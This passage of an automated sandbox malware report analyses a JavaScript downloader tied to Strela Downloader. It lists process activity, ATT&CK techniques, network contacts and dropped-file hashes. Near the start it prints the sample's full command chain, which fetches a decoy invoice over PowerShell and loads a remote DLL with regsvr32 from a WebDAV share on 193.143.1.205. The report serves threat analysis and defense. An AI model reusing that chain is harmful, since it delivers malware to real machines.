Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	41 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	32 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
23268167561217715617.js	5%	Virustotal		Browse
23268167561217715617.js	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1333286254.00000218C08C0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false	high
http://crl.ver)	svchost.exe, 0000000F.00000002.2568834594.00000218C0A00000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false	high
https://www.adobe.co	ReaderMessages.11.dr	false	high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false	high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1335850988.00000161D1E2C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1335850988.00000161D1DF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1335850988.00000161D1E1D000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587705
Start date and time:	2025-01-10 17:09:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	23268167561217715617.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@5/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 34.237.241.83, 18.213.11.84, 54.224.241.105, 50.16.47.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 199.232.210.172, 2.16.168.107, 2.16.168.105, 2.23.197.184, 23.209.209.135, 13.107.246.45, 4.175.87.197, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:10:51	API Interceptor	25x Sleep call for process: powershell.exe modified
11:10:55	API Interceptor	1x Sleep call for process: net.exe modified
11:10:55	API Interceptor	2x Sleep call for process: svchost.exe modified
11:11:08	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	launcher.exe.bin.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	199.232.210.172
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CF342114-CD27-4FDB-9984-9F03FED05312_12172024123959996.dll	Get hash	malicious	Unknown	Browse	199.232.214.172
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	QUOTATION-9044456778.pdf (83kb).com.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.214.172
	Shipping Document.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	28152172202187913252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	550532080162812544.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251011677249918058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2078028442107917841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066916589068586
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqN:2JIB/wUKUKQncEmYRTwh05
MD5:	7C633DAEB4C7446322291A104F7396D9
SHA1:	1F66B18DFD7E6E13974628A7EECC3207A9E0FEE5
SHA-256:	1355F09EF37F189105632728C558FD59192F6121C3FC1CDDA1F71B27C5E91D47
SHA-512:	54845EEA6B7C8F9208D983B5AA0B52DE088727C9D6E15A005EBE5E8354295CF8D1FA1210D83F7F1E0C762D3A72F55D486AD8F3FE687ABA783F4D092DCBBFA234
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1b42cce2, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900032477233626
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
MD5:	5FC3E8F4931FC25E59896585AD4F9661
SHA1:	887F2AB231A302F772DCB8479F58ABDBDA592D85
SHA-256:	16A52167CE46C7EB9CDE59E05B097968FB7AAF004245BFEBF889907CF7C9C107
SHA-512:	B005A978EB270D11BBE9291F34963C62A4DD6187B9B12F3E81C6B1F2A9E6DD6456B641F782802EC133490C93DE88423815FA7517795203438FA77E98C96144C7
Malicious:	false
Preview:	.B..... ...............X\...;...{......................0.`.....42...{5.7....}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................@...7....}..................TK..7....}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08183041827660457
Encrypted:	false
SSDEEP:	3:CEYelQxt/57Dek3J4dkV//allEqW3l/TjzzQ/t:pzlQbR3t4di/Gmd8/
MD5:	973113083240E5C60386D3CAEB970D96
SHA1:	FDB6B2F0AF500097B18CAA5862AC0D37069C16D1
SHA-256:	70ECC8F6C9DB7391D202E2FAEBB9D8BDD19A1B31993D72668D85906249550325
SHA-512:	365F93B9FFE3E3B5192350E96D4C0FBF3F95A24421CB5DD4B1FDF06C92D20C40913B96DC06BA12362EF54B38EC5343770B6813C822D2F5839D76768DA1B673B4
Malicious:	false
Preview:	>m.x.....................................;...{..7....}..42...{5.........42...{5.42...{5...Y.42...{59................TK..7....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.1064889285442545
Encrypted:	false
SSDEEP:	6:iO4nSQ+q2PcNwi2nKuAl9OmbnIFUtSn9gZmwsn9QVkwOcNwi2nKuAl9OmbjLJ:7A3+vLZHAahFUt+a/82V54ZHAaSJ
MD5:	4B21464EA32C23766395F9070562610E
SHA1:	B7FAF03E7F4EA9F32A18ADA719E69D76E90D459A
SHA-256:	7780BFCC340C9DAB4AD3EA18F92D9C3B9E227414307D32008B3F111848D35F12
SHA-512:	48B1D06F113287629D5CFB3438150620B88DB9134DA75D4A3B20E223C28524DCEAC41F382E1650E059E9AB1F3B8788B2F20B0936E350F159738BFAAF72960489
Malicious:	false
Preview:	2025/01/10-11:10:55.610 1c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:10:55.613 1c2c Recovering log #3.2025/01/10-11:10:55.613 1c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.1064889285442545
Encrypted:	false
SSDEEP:	6:iO4nSQ+q2PcNwi2nKuAl9OmbnIFUtSn9gZmwsn9QVkwOcNwi2nKuAl9OmbjLJ:7A3+vLZHAahFUt+a/82V54ZHAaSJ
MD5:	4B21464EA32C23766395F9070562610E
SHA1:	B7FAF03E7F4EA9F32A18ADA719E69D76E90D459A
SHA-256:	7780BFCC340C9DAB4AD3EA18F92D9C3B9E227414307D32008B3F111848D35F12
SHA-512:	48B1D06F113287629D5CFB3438150620B88DB9134DA75D4A3B20E223C28524DCEAC41F382E1650E059E9AB1F3B8788B2F20B0936E350F159738BFAAF72960489
Malicious:	false
Preview:	2025/01/10-11:10:55.610 1c2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:10:55.613 1c2c Recovering log #3.2025/01/10-11:10:55.613 1c2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.140653719579145
Encrypted:	false
SSDEEP:	6:iO4n9FlWM+q2PcNwi2nKuAl9Ombzo2jMGIFUtSnU1ZmwsnhlWMVkwOcNwi2nKuAv:7AnlL+vLZHAa8uFUt+K/8hlLV54ZHAaU
MD5:	803DF2C6EAB1512949F72D93F50EE7A1
SHA1:	5DCA881FAE85F88FBAAD011CC1628F707158758F
SHA-256:	3B343947920F08CB8C0BC5547FC238EA872972061F9C28F8B3245323F33C5680
SHA-512:	E38C56E0482D31AC005B547AA916641F080996DBB450E79F8EC3606F20E07FB70D9707CF1248C3939F6DFD58CA2A95F0D93643D7459690C5B01E360A3F98CAE8
Malicious:	false
Preview:	2025/01/10-11:10:55.694 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:10:55.695 1d1c Recovering log #3.2025/01/10-11:10:55.696 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.140653719579145
Encrypted:	false
SSDEEP:	6:iO4n9FlWM+q2PcNwi2nKuAl9Ombzo2jMGIFUtSnU1ZmwsnhlWMVkwOcNwi2nKuAv:7AnlL+vLZHAa8uFUt+K/8hlLV54ZHAaU
MD5:	803DF2C6EAB1512949F72D93F50EE7A1
SHA1:	5DCA881FAE85F88FBAAD011CC1628F707158758F
SHA-256:	3B343947920F08CB8C0BC5547FC238EA872972061F9C28F8B3245323F33C5680
SHA-512:	E38C56E0482D31AC005B547AA916641F080996DBB450E79F8EC3606F20E07FB70D9707CF1248C3939F6DFD58CA2A95F0D93643D7459690C5B01E360A3F98CAE8
Malicious:	false
Preview:	2025/01/10-11:10:55.694 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:10:55.695 1d1c Recovering log #3.2025/01/10-11:10:55.696 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5d558f93-ad2f-4588-9b26-5ec5ac3eb3b1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964992811511945
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGsBdOg2HMcaq3QYiubSpDyP7E4T3y:Y2sRdsqdMHv3QYhbSpDa7nby
MD5:	B25EB3E5E3D6C8A5400D0FF7C3E05A9D
SHA1:	D4CAFA6961F91BCBA5E89460BB0B9402FE32F5AE
SHA-256:	FB9331306B7C0A3BE9ED271028F528DF81D8DBF0BB342C38817A64FB8552DD43
SHA-512:	792C437ABBFCFEDE6D1DDEF06AF6B3711C0E0CB90DF8229758CC644F012AF7662AD4865F30D86014562A84542AE6DC816869BBAEA82CD477672DF746027B1C53
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085468236682","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131292},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7ad961ab-15fc-43c7-85d8-fed1505fc205.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4ae084.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236455906190254
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP5ZLi:CwNw1GHqPySfkcigoO3h28ytP5ZLi
MD5:	5DBF19B01ADBCF7B74F4CF86A742BE66
SHA1:	F23825EECDEE62A19135D3A62D4020C328FA99C7
SHA-256:	3D30A882C8C8B4336D1671B81417D9BBAF2A5CAA01944A40ACFD79E7C792E25E
SHA-512:	C42442F93BC888AF46AC16E3F2EC6EFE3FF3801648D6C6F74F024A0BF8AD3ADE999F67D12DF4565F6F2CFA04A303653B40968A16815677539B498FE3DDD40528
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.140811774071379
Encrypted:	false
SSDEEP:	6:iO4nslFlWM+q2PcNwi2nKuAl9OmbzNMxIFUtSnZ1ZmwsnuWMVkwOcNwi2nKuAl9c:7AAlL+vLZHAa8jFUt+T/8uLV54ZHAa8E
MD5:	D1A0106D5658E41BC5C3881EF97B1F0C
SHA1:	E9EBD6CF35066BA2B47BA829F6B984C9EA579304
SHA-256:	B46B20BC74F78BD8951600A920C92CB8D95D16C7BC3C67BF66BE8F149405A33E
SHA-512:	64F3FEA96283AF7733A4F5985D63CC5C3056FD113DF2867C02CDA7D7476A84C8DA9C1267500AB3FADD369BABB25B6DCC73A347F9FA0423EFA08AFA5D18B6FBCC
Malicious:	false
Preview:	2025/01/10-11:10:55.886 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:10:55.887 1d1c Recovering log #3.2025/01/10-11:10:55.888 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.140811774071379
Encrypted:	false
